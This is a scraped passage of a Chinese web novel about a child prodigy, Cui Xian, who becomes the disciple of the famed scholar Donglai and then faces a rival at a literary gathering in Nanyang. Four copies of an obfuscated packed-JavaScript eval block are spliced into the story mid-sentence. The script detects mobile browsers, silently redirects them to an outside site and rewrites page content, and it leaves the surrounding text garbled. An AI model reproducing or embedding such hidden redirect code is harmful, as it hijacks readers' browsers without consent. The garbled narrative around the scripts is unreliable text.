东莱先生察觉到课堂里氛围的变化,笑眯眯继续说道:“再比如,学而时**之。这个题目,若是你以时**之来破题,那么就是正破。若你以学而不**之来破题,那么就是反破。” “如挖地基之于盖房屋的重要性,破题乃做八股之核心。” “常言道:未作破题,文章由我;既作破题,我由文章。” “八股之全篇精妙,在破题之时,神奇变化已初见端倪。” “而八股之破题,当势如破竹,冠冕浑融。” 说到这里。 东莱先生停顿片刻,看向崔岘,笑眯眯若有所指道:“有时候,只要题破对了,破好了。后面的内容,你哪怕什么都没开始说,但其实这篇文章,就已经稳了。” 崔岘笑着点头,以作回应。 心里想的是:确实稳了。 ? 82、这小子/老头对我有意思(下) 裴氏族学,课堂上。 东莱先生巧妙地以盖房屋,类比做八股。 从最开始的破题,讲述到承题、原题、起讲、入题、提二比、中二比、过接、后二比、后二小比、大结,等一系列严谨、精密的八股格式。 乍一看好像很复杂。 呃……其实就是很复杂! 但名儒就是名儒,轻松化繁为简,把一节本应枯燥无味的课程,讲的格外生动有趣。 只是,做文章终究不是盖房屋。 知识钻进大脑,能理解多少,留住多少,全凭个人悟性。 大梁王朝学子数以万计,但每三年,只能有两三百人杀出重围,高中进士。 这是个很残酷、很可怕的事情。 是以此话东莱先生肯定不会说。 他笑呵呵看着底下一群小学子,问道:“怎么样,做八股文如盖房屋,是不是很简单呐? 底下一片安静,无人应声。 方才他们笑的很是欢乐。 可这会儿,每个人都笑不出来了。 尤其是裴坚,庄瑾等几位马上要读‘大班’的小少爷,脸上甚至浮现出浓浓的畏惧。 纵然东莱先生讲的再有趣。 可扒开这层‘有趣’的面纱,作八股文的复杂难度,实在让他们觉得有些头皮发麻。 课堂后方。 吴夫子看着这一幕,在心中无声叹了口气。 作为曾经年少时被八股文折磨到痛哭流涕,再后来屡考屡败,文心崩溃,放弃科举来学堂教书的‘过来人’,他可太懂裴坚等人此时的心态了。 见没有人回答自己。 东莱先生笑着道:“不错不错,看来大家都有所感悟,此刻怕是都在心里思索,该如何盖房屋呢。 “老夫这里,还有一妙招,传授给你们,你们且听好了。 “两句破题打地基,三句承题立梁柱。起讲定调砌砖瓦,四比八股雕窗花。 “望诸生日后勤学不辍,如《礼记·中庸》所言:博学之,审问之,慎思之,明辨之,笃行之。 “最后,都能盖出令自己满意的房屋。 先传道授业。 后敦品励学。 这一节课,实在珍贵啊! 吴清澜带领全体学子,向东莱先生拱手致谢。 东莱先生摆摆手,笑道:“莫要行这些虚礼,还记得方才老夫进来的时候,考教了诸生一个问题吗?” “现在,盖房屋的方法,已传授给大家了。诸生可有问题,来询问老夫?” 这便是要做课后检验了。 看似是让问问题。 实则呢,你这个问题一问出来,就能暴露出你是否听懂,又听懂了多少。 有问题代表有地方不懂。 没问题相当于从头到尾一点没听明白,问都不知道该如何问。 先前笑的最欢的裴坚等人,此时一个个缩起脖颈,努力降低自己的存在感。 生怕被点名! 吴夫子气的脸色发黑,发出一声重重的咳嗽,威胁的意味非常明显。 大概翻译一下就是:今日你们要是连一个像样的问题都问不出来,且看老夫回头怎么收拾你们! 众学子神情发苦。 接着,大家一个、两个、三个,纷纷不约而同看向了崔岘,目光隐含期待、乞求。 崔岘兄,靠你了啊! 见大家都看向崔岘,于是,东莱先生的目光,自然也顺势落在了崔岘身上,眼含鼓励。 崔岘不负众望,笑着站起来。 他先是朝着东莱先生鞠躬。 而后也不知是有意,还是无意,拿起课桌上的《龙文鞭影》随手一翻,笑着看向东莱先生,问道:“先生,学生读《龙文鞭影》,有一疑惑请教。” “邺侯插架,刘向校书。” “若以此题作八股文,破题之时,应侧重藏书之广,亦或侧重校书之精?” 听到岘弟问出了问题,裴坚心中松了口气。 而后,他偷偷瞥了一眼崔岘手中的《龙文鞭影》,神情微愣。 因为岘弟翻开的那一页,并无‘邺侯插架,刘向校书’的内容啊。 其余学子们毫无察觉,只单纯佩服崔岘,这样复杂的课程只听一遍,就能跟上先生的思路。 却不知。 在教室后方的吴清澜夫子,听到这个问题后,也愣住了。 因为这牵 扯到两个典故。 其一:有个叫做邺侯的人家中藏书万卷后人用来比喻知识积累渊博。 其二:有个叫做刘向的人校勘宫廷藏书编《七略》后人用来比喻对知识的整理、甄别。 两个典故放在一起意思便是:藏书需要人来整理学问也需要人来传承。 藏为根基。 校为延续。 学生如邺侯虽有知识却苦于无梳理办法。 老师如刘向整理知识以作传道受业解惑。 好家伙! 崔岘难道这是……在当众拜师? 这孩子可真够胆大的。 那可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088373|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名满天下的大儒东莱先生啊! 隐约琢磨出味儿来的吴夫子猛然瞪大眼睛 不知为何等待的过程中吴清澜自己都有些心脏加速跳动。 他自然是很喜欢崔岘。 这是他见过的最有天分的学生! 若是真能拜师东莱再想想东莱背后恐怖的师门靠山那这孩子就真乘势而起了啊! 想到这里吴清澜又难免有些替崔岘担心。 这孩子要是真想拜师好歹也先打听一下东莱先生的喜好啊! 结果—— 在吴清澜呆滞的注视下。 便见本就笑呵呵的东莱先生在听到崔岘的提问后笑的越发灿烂甚至整个人的嘴角都压不住! “哈哈哈哈……善哉问!” 东莱先生看向崔岘努力让自己不笑出声来答道:“邺侯插架……哈哈哈哈。” 他真的很想忍住的! 可是真的忍不住啊! 刚一开口就忍不住继续笑一直看着崔岘笑。 崔岘跟着他笑眼角眉梢都是笑意最后也有些忍不住把头侧向一边笑。 其余学子们满脸疑惑茫然。 不是发生了什么? 难道这个问题它看似是个问题其实是个笑话? 对此吴清澜表示:呵呵。 他觉得自己现在更像是个笑话。 单看崔岘跟东莱先生现在这 个腻歪的情况,吴清澜什么都懂了! 合着你俩早看对眼了啊! 难怪,难怪崔岘建议我去请东莱先生,难怪先前东莱先生对我那般有敌意! 东莱先生笑了许久,而后终于找回理智,看着崔岘笑眯眯说道:“邺侯插架,藏的是渊博学问;刘向校书,授的是辨章学术。” “邺侯不藏,刘向无书可校;刘向不校,邺侯徒藏故纸。” “故,破题当以:藏为体,校为用。” 这是在对崔岘给予热情回应。 看似是藏校相济。 实则是师徒相授! 原来……这老头/这小子早就对我有意思啦! 崔岘认真听完,强忍住笑意,拱手致谢:“学生受教。” 东莱先生一抚胡须,笑呵呵满意道:“孺子可教也。” 教室最后方。 目睹这‘甜蜜’场面的吴清澜面无表情,既替崔岘感到高兴,又觉得颇为酸涩。 三个人的师徒情谊太过拥挤。 我不应该出现在这里。 我走,我走还不行吗! ? 83、文会之天下目光聚南阳(一) 一心想走的吴清澜,终究是没能走成。 他还得上课。 倒是东莱先生,授完这一节课后,笑呵呵负手离开。 吴清澜以弟子礼,殷切相送。 半盏茶时间后。 他返回课堂,看着崔岘感慨笑道:“为师认定你将来必能有一番大造化,但万万没想到,这一天,能来的如此之快。 《咏鹅》《悯农二首》让崔岘神童之名,上达天听,传唱士林。 但这些终究是虚的。 那何谓实呢? 大儒之徒弟、次辅之徒孙! 小小年纪,便集齐了天资、名望、后台。 这三张牌,单出已是无敌。 组合打出去,绝对是王炸! 是以,吴清澜这番话看似感慨,其实也很是艳羡。 崔岘站起来,认真整理衣衫,向吴清澜执弟子礼:“岘自幼家贫,囿于乡野。承蒙夫子慧眼识才,照拂教诲,才能有今日之薄名。 “万般情谊,无以言表。 “方才学生斗胆,自比邺侯,盖因…… 说到这里。 他抬起头来,笑吟吟看向吴清澜,目光澄澈真挚:“盖因夫子,亦是岘之刘校。 这番话,绝对是学生对老师最真挚的敬意与感激。 没有老师能顶得住! 吴清澜自然是也没顶住,眼眶微微湿润,先前那点酸涩,霎时间便烟消云散。 他努力压下泪意,笑道:“好,好啊!那为师便引《诗经·大雅》篇,望你来日:鸢飞戾天,鱼跃**。 这属实是非常真挚的祝福了。 崔岘想了想,笑着回道:“那学生以《诗经·小雅》篇回之,望夫子日后:高山仰止,景行行止。 好一个‘高山仰止,景行行止’啊! 吴清澜开怀大笑。 他俩突然搁课堂上‘情意绵绵’,看的庄瑾等人目露疑惑,丈二和尚摸不着头脑。 裴坚更是没忍住嘀咕道:“夫子,我们都知道你最喜欢岘弟。但你天天夸还不够,现在这又是闹得哪一出啊。 这并非‘肉麻’。 因为……这是在为此段师生 关系定性,互道祝福。 而后告别。 等崔岘正式拜师东莱先生,届时自然要跟着恩师上课了。 有人在课堂上以学识巧妙拜大儒为师。 有人在课堂懵懵懂懂愚笨一问三不知。 唉,差距。 差距啊! 吴清澜叹了口气,说道:“算了,说了你们也不懂,多吃点饭吧。 裴坚大喜:“今日竟提前放饭? 其余学子们眼睛也都亮起来,满脸尽是不可置信的惊喜。 吴清澜大怒:“一提起吃饭你们就来劲!方才东莱先生授课,你们连一个问题都问不出来! “崔岘记二分,其余所有人全扣一分! “裴坚扣两分。 裴坚:? 针对我,你绝对就是在针对我吧! 另一边。 东莱先生笑呵呵离开,等走出吴清澜的视线范围后,他再也装不下去矜持,哈哈得意大笑。 老夫也有弟子了! 季甫啊季甫,你个老东西! 不知在哪里收了个歪瓜徒弟,竟然也敢特地写信,送来老夫面前炫耀。 老夫这弟子,难道不比你那歪瓜强上万万倍?! 总之,东莱先生很亢奋。 他一路兴冲冲归家,对仆从说道:“取笔墨纸砚来,老夫要写信! 仆从一看老爷笑的这般不值钱,便心里有数了。 他立刻去取笔墨,想了想,特地多取了一百张信纸。 东莱先生闷头写信,写到一半,又让仆从添了一百张信纸。 最后写了足足47封信。 信的内容摒除掉屁话,简单粗暴概括来说就是: 老子收了个很牛逼的徒弟,特地告知你们,你们不用亲自来恭贺,把给我徒弟的礼寄过来就行了。 仆从大为震撼。 他提着满满一箩筐书信,认真道:“老爷,神童娃娃还小,你这般高调,会为他树下无数敌人。 大儒之徒弟,次辅之徒孙。 这个身份,天然就树大招风,绝对会引来无数人不服、与觊觎。 因为只要把他踩下去,就 能扬名了啊! 东莱先生一甩衣袖:“做了我东莱的徒弟,难道还想低调?既然无法低调,那老夫就狠狠高调一番,替我家乖乖徒弟,在这士林官场、大梁天下露露脸。” “好叫那些想踩着我徒弟出名的家伙,都赶紧过来!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088374|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至他们不来,日后还得让我家乖徒找上门寻他们呢。” “届时,我要为我乖徒铸七尺高台舌战群英,广邀天下士林名儒、年轻天才们,前来登台辩经!” 仆从想了想那个场面,难得没有出言怼自家老爷,而是目露期待,又有些恍惚追忆。 这自然不是单纯的猖狂。 因为每一代大儒,都是这样崛起的。 舌战群英的过程,便是弥补学问不足,论道修心,完善学识、淬炼自我的过程。 是为磨砺文心墨胆! 有道是:文无第一,武无第二。 大儒如何能成为大儒呢? 很简单:我就问一句,谁不服我? 你不服?来,辩一场! 你也不服?那你也来同我辩上一场! 辩战士林无敌手,是为大儒! 书生意气,自该挥斥方遒! 当年,东莱先生便是这样,一人舌战群英士林,最后奠定大儒地位的! 一晃多年过去。 昔日张狂鲜活的少年郎,而立成家,妻离子丧,渡过不惑,最后孤身一人,来到了知天命的年纪。 竟也开始传道授业解惑,为徒弟铺路了。 仆从收起眼睛里的追忆与哀伤,认真问道:“老爷,你得先告诉我,神童娃娃……不,崔小公子之天资,比您当年,如何?” 不问清楚,手中这一箩筐‘拉仇恨值’的信,他不敢往外送啊。 东莱先生骄傲道:“我不及也。” 仆从闻言咧开嘴笑道:“恭喜老爷,喜得爱徒。您打算何时正式收徒?” 东莱先生道:“老夫赚了一辈子的名声,此时不用,更待何时?按照老夫本意,合该带我乖徒,去金陵开场文会,广邀天下名儒来作见证。” “好叫那些歪瓜裂枣看看,什么才是真正的天才。” “然,徒弟还年幼,不宜舟车劳顿。他生于南阳,长于南阳,作为师长,老夫便在这南阳城,为他办一场风光文会,以作收徒宴。” “日后等他再年长一些,走出南阳。这大梁士林,自会好生见识他的风采。” 仆从点头应是。 而后他带着一箩筐信,去了驿馆。 当日。 47封信,自南阳送出,先后传达大梁两京十三省。 崔岘,名动四方! ? 84、文会之天下目光聚南阳(二) 东莱先生把这场文会的日期,定在了二十日后。 这个时间,足够那47封信送过去。 并保证收信人,再把贺礼送过来。 寄完信回家后,仆从询问道:“老爷,收徒宴的地点定在哪里?” “我似乎有个便宜师侄,目前正在南阳,让他看着安排吧。” 东莱先生说到这里,又嘿笑道:“还有,对外一律说是文会,莫提收徒一事。届时,老夫要在文会上当众宣布,达到一鸣惊人、艳惊四座的效果。” “好让我家乖徒,狠狠出一把风头!” 仆从很是无言,他思索片刻,不确定道:“您那位师侄,似乎姓齐,在督察院任职。” “如今因查赵志案,做了钦差天官,目前居住在南阳知府衙门里。” 阁老郑霞生除了周雍、李端两位亲传徒弟。 还有一帮不值钱的记名弟子。 想来这位齐钦差,应该是阁老大人某位不值钱记名弟子的……呃,更不值钱的弟子。 东莱先生摆摆手,对此并不关心。 他只关心自家乖徒。 到了傍晚。 他甚至站在院子门外翘首以盼,等看到崔岘回来后,霎时便眉开眼笑。 崔岘笑着走过去,朝他拱手:“老先生。” 还没拜师,自是不好改口。 东莱先生嘿笑着回应,想跟小徒弟多说几句话,彼此熟悉一番。但又一时间赧然着,没想好从哪里切入。 二人在课堂上,藏校师徒情谊。 可实际上,彼此还并不熟悉哩! 见老师这般模样,崔岘哪里还有不懂得,笑问道:“老先生平时可喜欢喝酒。” 东莱先生忙不迭点头:“自是喜欢的。” 但想了想崔岘家似乎很是清贫,他又道:“老夫有一怪癖,不喜欢喝贵的酒,只喜欢喝便宜的清酒。” 崔岘眨眨眼,打开书箱,掏出一个鼓鼓的荷包,豪迈道:“便宜的酒口感劣质,不好。” “有小子在,保证让老先生喝上好酒!桂花酿如何?” 东莱先生被这几句话哄得眉开眼笑,连说了几声‘好’。 而后轻咳一声,暗示道:“把二十日后的 那天空出来,有个没甚意思的文会,需要你去参加。 “虽然没甚意思,但届时也得穿身新衣。为师……咳,老夫让人给你定制几身,你挑件喜欢的穿着过去。 “最近老夫找个时间,再去你家正式登门,同你家里人认识一下,做个交代。 崔岘笑着点头:“好。 十几日时间一晃而过。 这期间每日晨起、傍晚,东莱先生都会在门口特地等待。 崔岘则是隔三差五,给他带壶桂花酿。 你来我往,二人便这样熟稔起来。 崔岘也得知,东莱先生目前孑然一身,四海为家,身边只有个姓罗的老仆作伴。 他们师徒二人‘你侬我侬’培养感情。 全然不知道,整个大梁王朝的士林名儒、高官贵胄们,因他俩而乱作一团。 在知天命的年纪,大儒周雍,收了自己人生中第一个弟子。 并骄傲表示:也是最后一个弟子! 可见,周雍对这个弟子有多满意。 一时间。 不管是名儒圈层,还是高官圈层,都在震动。 “周雍这老东西,眼光高的很,他写信特地来炫耀,说明那弟子绝非等闲之辈。这样,备一份厚礼,快马送往南阳! “我有预感,他这弟子,以后也要走周雍的老路子,开台辩战士林。 “哼!二十年前我输给周雍,二十年后,我的弟子一定要赢他的弟子! “听说,郑阁老私下对周雍这位关门弟子非常满意。 “大儒之徒,阁老徒孙。这小子凭一己之力,便搅动士林官场啊。 “备礼,备厚礼!必须赶在周雍收徒宴当天之前,将礼送去南阳! 周雍只送出去47封信不假。 但,前来南阳送礼的,可绝不仅仅只有47家啊! 这些信,不管送去哪里。 当天便有快马携带礼物,朝着南阳送去。 大梁两京十三省震动。 不管心中如何想的,面子上,都必须要给这位即将横空出世的大儒亲传弟子,送去善意与祝福! 而随着时间推进。 南阳城也开始热闹起来。 由南阳王与钦差大臣齐大人牵头知县知府作陪特邀东莱先生出席在南阳王府 南阳王看似是位王爷。实则早无实权是天下众多县城封地不值钱王爷当中的一个。 如今起到的就是一个‘吉祥物’般的作用。 这并不重要。 重要的是小小的南阳城已经许多年没有这般热闹过了! 更遑论此次文会还有东莱先生参加! 格调直接拉满。 整个南阳文人圈层都沸腾了甚至还有隔壁县读书人连夜吭哧吭哧赶来。 万一撞大运被东莱先生看中收作徒弟了呢! 因此越是临近文会南阳县城里越是热闹很多客栈都处于满客的状态。 由于动静闹得实在太大很多百姓都听说了此事。 大家并不知道东莱先生只关切询问道:“小神童呢?小神童要参加这场文会吗?” 读书人们便直摇头。 崔岘虽有才华但也才八岁太过年幼还是莫要去参加的好。 怕百姓们不懂读书人们还解释:“小神童如今有了名声少不得会有些心思不正之人想踩着他扬名。” “若他要是参加文会指定会被刁难。” 百姓们闻言便露出担忧的表情。 可后来不知道是哪里传出来消息:小神童确定会参加这次文会。 满城哗然。 这场文会算是彻底传入市井当中声势浩大的惊人。 听说还有个姓黄的秀才17岁颇有才名。早早放出话来打算在文会上向小神童‘讨教’一番。 话说的好听这不就是欺负人想借着小神童扬名嘛! 文会即将开始举办的前一天晚上。 崔岘放学归家意外发现家里来了一位有段时间没见的老朋友。 叶怀峰。 老崔氏、崔伯山、崔仲渊在一旁作陪。 应该是最近忙着陪钦差大人处理赵志案叶县令看起来很是疲惫憔悴。 但人明显精神了很多有种先前没有的干练劲儿。 看来这段时间他也在成长。 只是因为先前‘掉马甲’一事,憨憨大川有段时间没来,今日也不知是为何事。 瞧见崔岘回来,叶怀峰尴尬一笑。 崔岘忍住笑意拱手:“叶大人。” 叶怀峰赶紧摆手:“别别, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088375|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就……咱们私下还同从前一般就好,莫要生分了。” 听到这话,一家人都笑了。 当然。 身份既已挑明,再叫‘大川兄’、‘岘弟’就有些不合适了。 笑过后,叶怀峰认真道明来意:“听说你也要去参加东莱先生的文会?我收到消息,有个叫做黄伦的秀才,很是年轻气盛。” “他想在文会上,刁难于你,好踩着你扬名。所以我过来是提醒你,这文会,你要不还是别去了,避避风头。” 崔家人表情略显担忧,对叶怀峰的话表示赞同。 崔岘闻言愣住,随后神情古怪:“这个文会,我得去。” 叶怀峰有些着急:“你尚年幼,挣来天才名声不易,何必要去给他人做垫脚石?咱们先暂避锋芒,且待来日。” 啊,也不是没有道理。 问题是……我不去的话,这场文会,他开不起来啊! 崔岘正欲解释。 便见崔家院子外面,传来一人浑厚的笑声:“哦?竟有人想要拿我师侄做垫脚石?那他有问过老夫这个师叔了吗!” 什么? 听到这话,崔家人都愣住。 片刻后,便见一位身材高大,头发花白,精神矍铄的老者,出现在大门外。 而在老者的身后,竟然恭敬跟着一群人,宋知府、吴同知,以及裴家两位举人老爷! 包括钦差齐大人! 叶怀峰豁然起身,心脏扑通扑通跳动,对此老者的身份有了猜测。 但仍旧觉得难以置信。 布政使李端大人怎么会悄悄出现在南阳,而且还来了崔家? 结果下一刻。 便见一个胖老者不满的一把将李端推开:“小李子,这是老夫的主场,你靠边站。” 李端神情讪讪,敢怒不敢言。 宋知府等一帮人听着李大人被唤作‘小李子’,抖了抖脸皮。 再然后,东莱先生带着三套新衣,朝 里面崔家人笑道:“老夫周雍,有个还算小有薄名的号,叫做东莱。” “今日第一次登门,还望莫要见怪。” “实在你家孩子崔岘过于优秀,老夫喜欢的很。因此想收作关门弟子,明日那场文会,便是老夫为小崔岘准备的。” 听到这话。 叶怀峰双腿一软,差点没站稳。 崔伯山、崔仲渊更是惊的目瞪口呆。 老崔氏最近被开蒙读书折磨,脑子不是很灵光,盯着李端身后的宋知府一直看。 因为宋知府没穿官袍,她有点不太敢确定。 主要是,知府大人这个腰,弯的过于低了些。 和上次见,一点都不一样。 下一刻,叶怀峰的话,让老崔氏发出惊呼。 便听叶怀峰小声道:“婶子,快,快把这群人请进来。最开始说话那人,是河南布政使李大人,正二品绯袍高官。” 老崔氏:“娘嘞!” 说罢,目瞪口呆的靠在门边哆嗦。 一定是她耳背,听错了! 结果叶怀峰又道:“那个要收你家岘哥儿做徒弟的,是大梁名儒,东莱先生。旁边的李大人,是东莱先生的师弟。” “东莱先生的老师,是当朝次辅阁老大人。” 这下,老崔氏不哆嗦了。 直接激动到两眼一翻,在众人的惊呼声中,晕了过去! ? 85、文会之天下目光聚南阳(三) 其实真不怪老崔氏没见识。 她参与了赵志案,如今既管理着一家摩睺罗店铺,又努力咬牙开蒙识字。 已经成长了很多。 但,她实在是跟不上自家小孙子骇人的成长速度啊! 前脚刚被陛下称赞。 后脚又是大儒老师,又是二品布政使师叔,又是当朝次辅阁老师祖,这谁听了心里不哆嗦? 不哆嗦简直不是大梁人! 等老崔氏悠悠转醒。 便见众人已经全都在自家院子里了。 东莱先生,以及李端大人坐着。 其余人,包括叶怀峰、宋知府、吴同知、以及一群穿便服的大人们,裴家两位举人,都只能站在一旁陪同。 崔伯山、崔仲渊兄弟二人,更是局促的有些喘不上来气。 林氏、陈氏两个女人,哆哆嗦嗦张罗着搬凳子,煮茶水。 崔璇、崔钰姐弟俩,吓得钻进屋里不敢出来。 小小的崔家院子里,压迫感十足。 因为这里可是有着一位当世大儒、和一位正二品布政使,和一帮南阳官员啊! 崔岘掐着老崔氏的人中,见她终于醒了,狠狠松了口气:“祖母! 老崔氏在一帮官老爷们的注视下,哆嗦着爬起来,局促的不知道该说点什么好。 她只能握着岘哥儿的手,激动到脸色发红。 前些年老崔氏在河西村,夜夜悲痛的时候,打死她都想不到—— 崔家,能有今日之荣光! 崔岘反手握住祖母的手,强忍住笑意提醒道:“祖母,老……东莱先生,还有布政使大人,正等着您回话呢。 老崔氏闻言赶紧看过去。 果真,两位大梁王朝赫赫有名的厉害人物,目光都落在自己身上呢。 但……这俩人等我回话?回什么话? 老崔氏晕了一遭,又面对这般大阵仗,实在是智商有点跟不上,半点也无往日的精明。 东莱先生见状急了! 他急切‘暗示’道:“你家小崔岘,优秀的很,老夫实在是喜欢呐! 哦哦! 老崔氏总算反应过来。 可忍不住 又想哆嗦因为东莱先生态度实在太殷切了甚至连李端大人都紧紧盯着自己。 好似生怕她不同意似的! 老崔氏深吸一口气哆嗦着说道:“老先生只要岘哥同意老婆子我自然是没话说的。” 听到这话东莱先生爽朗哈哈大笑满脸尽是欢喜。 因为乖乖徒弟早就同意啦! 李端同样笑道:“恭喜师兄喜得爱徒啊!” 这便是两位大佬今日特地来崔家一趟的目的。 收徒要讲究名正言顺。 得过了家人明路啊! 见周雍、李端二人笑的如此开心院子里一帮南阳官员包括裴家两位举人都看向崔岘眼含惊叹。 因为明日过后这个八岁的稚童将彻底名扬天下。 他拥有着大梁王朝最恐怖的师门后台! 甚至因为崔岘拜师连二品布政使李端都特地来南阳恭贺! 其中尤其以裴崇青、裴开泰两位裴家举人最为感慨。 他们裴家的小子裴坚也不知沾了什么滔天运气竟能与崔岘做了兄弟。 以后他们裴家怕是都得仰仗崔家咯! 而叶怀峰更是好生震撼—— 他本来还担心崔岘在文会上被刁难结果好家伙这文会就是为了崔岘而举办的! 至于宋知府等官员们心中唯有一个想法在大声叫嚣。 以后把崔岘一家子当祖宗伺候着! 经过老崔氏这位‘家长’点头 但崔家一家人实在太拘谨了。 李端提议道:“师兄不如我们先回去等明日拜师宴上再行详谈。” 东莱先生有点舍不得走他还想在徒弟家多待一会儿呢! 但他也感受到了崔家人的拘谨因此想了想在离开之前看向崔岘道:“乖乖徒弟那黄什么的那人需要为师帮你把他赶走吗?” 众人汗颜。 这都还没拜师呢乖乖徒弟就叫上了。 而且还如此护短人家那秀才黄伦还尚未真来向崔岘讨教你这老师就开始护短。 在院子里一群人惊艳的注视下。 便见崔岘脊梁笔挺,傲然笑道:“此事,弟子可自行解决,不劳烦老师了。若是随便来一人,便能给弟子造成困扰。 “那弟子,怎配拜您为师? 好家伙! 难怪你们是师徒俩呢。 听听这话说的。 东莱先生哈哈大笑,连李端都忍不住侧目惊叹。 小小少年,浑身风骨,如松如竹,实在耀眼夺目,张扬肆意啊! 见李端看向自己。 崔岘也不怯场,笑着拱手:“弟子崔岘,见过师叔。 绝了。 就这么简单一句称呼,让李端舒爽到浑身发麻。甚至产生了某种大不敬的可怕心态—— 要不把优秀师侄抢过来,直接做弟子吧! 可面对师兄东莱虎视眈眈的目光,李端打了个哆嗦,收起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088376|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个可怕的想法。 这位二品布政使高官朗声笑道:“好小子!且等明日,拜师宴上,师叔送你一份厚礼! 而后。 东莱,李端,以及一帮大人们先后离开。 等院子里只剩下自家人了。 老崔氏一屁股坐在地上,笑的整个人都有些发癫:“老天爷啊,我这不是在做梦吧! 甚至做梦都不敢做的这么大! 其余崔家人,也都恍惚、激动、震撼的看向崔岘。 刚才周雍、李端等大佬在的时候,他们都不敢往上凑。 虽然早已知道,岘哥儿这孩子厉害。 可这也太厉害了吧! 迎着全家人的目光,崔岘眨眨眼:“你们就没有什么想问我的吗? 结果全家人齐齐摇头。 因为岘哥儿如今接触的圈层,已经是他们所不能理解的可怕范畴了! 陈氏定了定心神,欣慰又自豪道:“不问了,岘哥儿你想做什么,娘都支持你。还是来看看,你老师给你送的新衣裳吧。 结果一打开那三套衣服,全家人都惊呼出声。 竟然是蜀锦! 老天啊,那个面料的色泽,简直流光溢彩,熠熠生辉。 老崔氏一眼便相中了那套红色的,激动道:“岘哥儿,穿这套红色的试试。 等崔岘换上以后,全家人眼睛都亮起来。 翩翩少年郎,公子世无双! 他肤色白,在红蜀锦的衬托下,整个人越发白皙俊俏,宛如状元郎呢! 这卖相,任谁见了都得赞上一句:龙驹凤雏,一表人才! 陈氏稀罕的不行,笑着说道:“且等明日去了文会,我家岘哥儿,定是最耀眼的那个!” 还真让她说对了。 她家岘哥儿,不但是最耀眼的那个,还是最得意的那个,最风光的那个,最张扬的那个,最有才气的那个! 次日。 这场声势浩荡的南阳文会,终于,在万众瞩目中开场了! 众多文人墨客,先后赶来。 而最先引爆这场文会的,正是小神童崔岘本人。 南阳王府外。 一身红衣的俊俏少年郎,迎着无数文人的打量,笑的格外张扬:“哪个是黄伦?听说你要找我讨教?” “那今日我崔岘,便如你所愿,指点你一番!” 来我的场子,踢我的馆。 那就别怪我不客气了! 哗! 听到崔岘这话,在场无数读书人,无不震惊哗然。 ? 86、文会之天下目光聚南阳(四) 南阳王府外。 八岁的崔岘一身红衣,面对无数人瞠目的打量,半点不显畏怯。 说起来。 这是小神童扬名后,头一次在公众正式露脸。 但万万没想到,他刚现身,便这般肆意张扬。 八岁小神童,当众叫板17岁天才少年黄伦,简直看点十足啊。 因此文会还未正式开场,氛围便已先被‘引爆’。 文人们向来看热闹不嫌事大,纷纷出言帮忙呼喊‘黄伦何在’。 人群中。 裴坚跟着父亲、祖父来了。 而庄瑾、李鹤聿、高奇三人,则是跟着吴清澜,也来凑热闹。 除此之外,崔钰、崔伯山、崔仲渊也在其中。 还有最近住满了南阳客栈,今日特地着儒衫,前来参加文会的大量读书人们,里三层外三层,挤满了王府大街。 甚至许多南阳百姓,也来凑热闹。 崔岘那番张扬喊话,很快便让一条王府大街都轰动起来。 “小神童好生俊俏! “黄伦何在? “小神童说了,要指点你呢! “怎地那黄伦还不现身,别不是怕了吧! 沸腾热闹的人群中。 一个身穿儒衫,神情带着点傲气的少年,在几位朋友的簇拥下登场。 有人当即道:“黄伦来了!黄伦来了! 顿时,人群自觉让出通道,无数目光在崔岘、和黄伦身上来回打量。 众目睽睽之下。 黄伦走到最前方,眯起眼睛看向崔岘,冷笑道:“稚子好胆!竟敢如此猖狂,妄图指点我黄伦! 崔岘闻言一挑眉,戏谑道:“不是你先放出话来,要同我讨教的吗?今士林知我崔岘,不知你黄伦。你想同我讨教什么,该不会是想讨教如何扬名吧? “简单,那你也来作首《悯农》便好。 这番话可真是毫不客气。 人群顿时响起一片哄笑。 17岁的秀才,放出话来要跟八岁稚童讨教,还能图什么? 不就图人家神童的名声,想踩着人家扬名嘛! 那也难怪人 